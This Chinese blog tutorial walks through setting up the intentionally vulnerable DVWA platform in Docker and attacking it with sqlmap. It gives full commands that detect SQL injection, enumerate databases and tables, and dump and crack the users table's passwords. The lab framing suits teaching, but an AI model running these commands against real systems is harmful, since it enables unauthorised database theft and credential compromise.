• sqlmap + DVWA 入门


    sqlmap 入门

    前言

    项目地址

    sqlmap: https://github.com/sqlmapproject/sqlmap

    DVWA: https://github.com/ethicalhack3r/DVWA

    实验环境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA

    工具介绍:sqlmap 是用来sql 注入的工具,DVWA 是圈内著名的web 安全测试平台,可以用来进行SQL 注入、文件上传漏洞、XSS 攻击等实验。在靶机CentOS 上,使用Docker 部署DVWA 平台,在测试机Ubuntu 上安装sqlmap

    准备阶段

    1、在CentOS 上安装Docker-CE

    如果已经安装Docker 则可以跳过这一步,如果不愿意使用Docker,可以参考DVWA项目地址,手动下载资源文件部署平台

    在CentOS上安装Docker:参考其他教程(还没写出来)

    2、安装DVWA

    由于Docker 安装之后默认的文件系统为layover2,而DVWA 在overlay2 上回遇到和mysql 相关的问题,因此官方推荐更换docker 使用文件系统。

    此步我们使用第三方制作的DVWA,支持overlay2:

    Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa

    安装步骤

    # 获取镜像
    docker pull docker pull citizenstig/dvwa
    
    # 新建容器
    docker run -d -p 80:80 citizenstig/dvwa
    

    访问CentOS 的主机地址,可以看到,除reCAPTCHA key 为Missing 红色外,其余状态均为绿色。点击Create/Reset Database按钮

    3、配置DVWA

    将DVWA 安全等级修改为Low

    4、在Ubuntu 上安装sqlmap

    直接使用apt 安装,建议使用国内软件源:

    sudo apt install sqlmap
    

    搞事阶段

    1、访问CentOS 地址,进入DVWA 配置,使用用户名 admin,密码 password 登录

    2、查看Cookis:

    在我的电脑上,本次登录使用的cookie为:

    PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low
    

    3、DVWA 选择SQL Injection,在输入框内输入任意的测试内容,例如:happy:

    可以看到URL 内出现了GET 传值的数据:?id=happy 这意味着可以尝试进行sql 注入

    4、使用sqlmap

    直接输入sqlmap 可以看到使用提示:

    我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试:

    sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch
    

    -u:URL 地址,其中IpAddress 为CentOS 的地址

    --cookie:传入刚才登录的cookie,模拟登录(可以尝试不传入cookie 直接注入会发生什么)

    --batch:使用默认选项

    等待片刻后,sqlmap 给出了此次注入测试的结果:

    代表的含义为:sqlmap 通过3704次测试后,找到了四种进行注入的方法(存在四种漏洞),分别为boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后还给出了服务器使用的操作系统、web 引擎和MySQL 大致版本

    5、偷看数据库

    使用 --dbs 查看数据库:

    sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs
    

    我们准备看一下dvwa 数据库中的表:

    sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables
    

    查看users 中的columns :

    sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns 
    

    发现user 与password,查看这两列的内容:

    sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump
    

    途中可以看到password 字段为md5 加密,sqlmap 开始爆破试图得到解密结果:

    最终得到表内数据以及解密后的密码:

    后续阶段

    sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内

  • 相关阅读:
    TOPCoder(一)Time
    highchart柱状图 series中data的数据构造
    (转)myeclipse工程 junit不能运行 ClassNotFoundException
    reserve和resize区别
    ++ fatal error C1083: 无法打开预编译头文件:“.Debug outer.pch”
    初学lua --lua嵌入c++的一个问题(初始化lua出错,版本问题)
    .NET中字符串split的C++实现
    成员函数指针与高效C++委托 (delegate)
    Android.mk 用法介绍
    cocos2d-x学习之旅(五):1.5 使用eclipse编译cocos2d-x示例项目,创建cocos2d-x android项目并部署到真机
  • 原文地址:https://www.cnblogs.com/soowin/p/12459691.html
Copyright © 2020-2023  润新知